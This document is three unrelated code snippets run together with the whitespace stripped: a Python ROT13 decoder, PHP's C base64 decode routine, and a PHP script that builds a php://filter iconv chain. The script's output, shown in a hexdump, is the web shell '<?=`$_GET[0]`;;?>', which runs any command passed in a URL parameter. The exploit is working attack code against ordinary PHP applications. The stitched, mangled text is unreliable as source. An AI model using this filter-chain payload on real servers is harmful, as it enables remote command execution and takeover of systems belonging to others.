# time : 2024/1/12# author : DELETEimportstringresult=[]upperCase=string.ascii_uppercaselowerCase=string.ascii_lowercaseupperDict={}lowerDict={}print("welcome to decode rot-13!\n")inputStr=input("please input what you want to decode\n")whileTrue:print(f"please comfirm {inputStr} is what you want to input if yes input y if not input n")flag=input("请确认")if(flag=='y')or(flag=='Y'):breakif(flag=='n')or(flag=='N'):inputStr=input("please input what string you want to encode or decode!")else:print("comfir way is illegal")breakforiinrange(0,len(upperCase)):ifi<13:upperDict[upperCase[i]]=upperCase[i+13]else:upperDict[upperCase[i]]=upperCase[i-13]foriinrange(0,len(lowerCase)):ifi<13:lowerDict[lowerCase[i]]=lowerCase[i+13]else:lowerDict[lowerCase[i]]=lowerCase[i-13]forchininputStr:ifchinlowerCase:result.append(lowerDict[ch])elifchinupperDict:result.append(upperDict[ch])result="".join(result)print(f"final decode result is {result}")
staticzend_always_inlineintphp_base64_decode_impl(constunsignedchar*in,size_tinl,unsignedchar*out,size_t*outl,boolstrict)/* {{{*/{intch;size_ti=0,padding=0,j=*outl;#if defined(__aarch64__) || defined(_M_ARM64)
if(inl>=16*4){size_tleft=0;j+=neon_base64_decode(in,inl,out,&left);i=inl-left;in+=i;inl=left;}#endif
/* run through the whole string, converting as we go */while(inl-->0){ch=*in++;if(ch==base64_pad){padding++;continue;}ch=base64_reverse_table[ch];if(!strict){/* skip unknown characters and whitespace */if(ch<0){continue;}}else{/* skip whitespace */if(ch==-1){continue;}/* fail on bad characters or if any data follows padding */if(ch==-2||padding){gotofail;}}switch(i%4){case0:out[j]=ch<<2;break;case1:out[j++]|=ch>>4;out[j]=(ch&0x0f)<<4;break;case2:out[j++]|=ch>>2;out[j]=(ch&0x03)<<6;break;case3:out[j++]|=ch;break;}i++;}/* fail if the input is truncated (only one char in last group) */if(strict&&i%4==1){gotofail;}/* fail if the padding length is wrong (not VV==, VVV=), but accept zero padding
* RFC 4648: "In some circumstances, the use of padding [--] is not required" */if(strict&&padding&&(padding>2||(i+padding)%4!=0)){gotofail;}*outl=j;out[j]='\0';return1;fail:return0;}
<?php$base64_payload="PD89YCRfR0VUWzBdYDs7Pz4";$conversions=array('R'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C'=>'convert.iconv.UTF8.CSISO2022KR','8'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2');$filters="convert.base64-encode|";# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters.="convert.iconv.UTF8.UTF7|";foreach(str_split(strrev($base64_payload))as$c){$filters.=$conversions[$c]."|";$filters.="convert.base64-decode|";$filters.="convert.base64-encode|";$filters.="convert.iconv.UTF8.UTF7|";}$filters.="convert.base64-decode";$final_payload="php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";// echo $final_payload;
var_dump(file_get_contents($final_payload));// hexdump
// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 3c 3f 3d 60 |string(18) "<?=`|
// 00000010 24 5f 47 45 54 5b 30 5d 60 3b 3b 3f 3e 18 22 0a |$_GET[0]`;;?>.".|